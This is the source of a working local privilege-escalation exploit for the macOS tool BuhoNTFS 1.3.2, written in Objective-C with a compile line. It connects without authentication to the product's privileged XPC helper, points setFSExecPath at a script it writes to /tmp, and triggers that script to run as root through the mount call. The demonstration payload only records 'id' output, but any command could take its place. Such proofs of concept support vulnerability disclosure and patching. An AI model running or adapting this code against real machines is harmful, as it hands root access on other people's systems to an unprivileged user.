BuhoNTFS 1.3.2 - Local Privilege Escalation

// clang -framework Foundation -framework CoreFoundation -o exploit_priv_esc exploit_exec_root.m

#import <Foundation/Foundation.h>
#import <sys/stat.h>
#import <unistd.h>

@protocol HelperProtocol
- (void)setFSExecPath:(NSString *)arg1;
- (void)mountReadWriteNTFSVolumeWithMountPoint:(NSString *)arg1 bsdName:(NSString *)arg2 isKMount:(BOOL)arg3 completion:(void (^)(NSString *, NSNumber *))arg4;
- (void)ping:(NSString *)arg1 completion:(void (^)(NSString *))arg2;
@end

@protocol XPCHandlerProtocol
- (void)receiveNewEvent:(unsigned long long)arg1 data:(NSData *)arg2 error:(NSError *)arg3;
- (void)logHelperEvent:(NSString *)arg1;
- (void)postEvent:(unsigned long long)arg1 data:(NSData *)arg2 error:(NSError *)arg3;
@end

@interface XPCHandler : NSObject <XPCHandlerProtocol>
@end

@implementation XPCHandler
- (void)receiveNewEvent:(unsigned long long)event data:(NSData *)data error:(NSError *)error {}
- (void)logHelperEvent:(NSString *)event {
    NSLog(@"[+] Helper log: %@", event);
}
- (void)postEvent:(unsigned long long)event data:(NSData *)data error:(NSError *)error {}
@end

void createMaliciousScript(NSString *scriptPath) {
    // malicious script 
    NSString *script = @"#!/bin/bash\n"
                       @"id > /tmp/pwned_by_root\n"
                       @"chown root:wheel /tmp/pwned_by_root\n"
                       @"chmod 644 /tmp/pwned_by_root\n";
    
    NSError *error = nil;
    [script writeToFile:scriptPath atomically:YES encoding:NSUTF8StringEncoding error:&error];
    
    if (error) {
        NSLog(@"[-] Error creating script: %@", error);
        exit(1);
    }
    
    // chmod 755
    chmod([scriptPath UTF8String], 0755);
    NSLog(@"[+] Malicious script created at: %@", scriptPath);
}

int main(int argc, const char * argv[]) {
    @autoreleasepool {
        NSLog(@"[*] ========================================");
        NSLog(@"[*] Exploit: Execute binary as root");
        NSLog(@"[*] Using: setFSExecPath + mountReadWriteNTFSVolumeWithMountPoint");
        NSLog(@"[*] ========================================\n");
        
        // malicious script
        NSString *maliciousScript = @"/tmp/malicious_root_script.sh";
        
        NSLog(@"[*] Creating malicious script");
        createMaliciousScript(maliciousScript);
        
        NSLog(@"\n[*] Connecting to privileged XPC service");
        NSXPCConnection *connection = [[NSXPCConnection alloc] initWithMachServiceName:@"com.drbuho.disktool.NTFSHelperTool"
                                                                               options:0];
        
        connection.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(HelperProtocol)];
        connection.exportedInterface = [NSXPCInterface interfaceWithProtocol:@protocol(XPCHandlerProtocol)];
        connection.exportedObject = [[XPCHandler alloc] init];
        
        connection.interruptionHandler = ^{
            NSLog(@"[-] Connection interrupted");
        };
        
        connection.invalidationHandler = ^{
            NSLog(@"[-] Connection invalidated");
        };
        
        [connection resume];
        NSLog(@"[+] XPC connection established (no authentication)\n");
        
        id<HelperProtocol> helper = [connection remoteObjectProxy];
        
        NSLog(@"[*] Calling setFSExecPath with path to malicious script");
        [helper setFSExecPath:maliciousScript];
        NSLog(@"[+] setFSExecPath(%@) called", maliciousScript);
        
        sleep(1);
        
        NSLog(@"\n[*] Trigger execution through mountReadWriteNTFSVolumeWithMountPoint");
        
        dispatch_semaphore_t semaphore = dispatch_semaphore_create(0);
        
        // Attempt mount ()
        [helper mountReadWriteNTFSVolumeWithMountPoint:@"/tmp/test_mount"
                                               bsdName:@"disk2s1"
                                               isKMount:NO
                                            completion:^(NSString *result, NSNumber *errorCode) {
            NSLog(@"\n[+] Mount callback received");
            NSLog(@"[+] Result: %@", result);
            NSLog(@"[+] Error code: %@", errorCode);
            
            if ([errorCode intValue] == 0) {
                NSLog(@"\n[+] Success: Check if the script was executed");
            } else {
                NSLog(@"\n[*] Mount failed");
            }
            
            dispatch_semaphore_signal(semaphore);
        }];
        
        // wait for callback
        dispatch_semaphore_wait(semaphore, dispatch_time(DISPATCH_TIME_NOW, 10 * NSEC_PER_SEC));
        
        [connection invalidate];
    }
    return 0;
}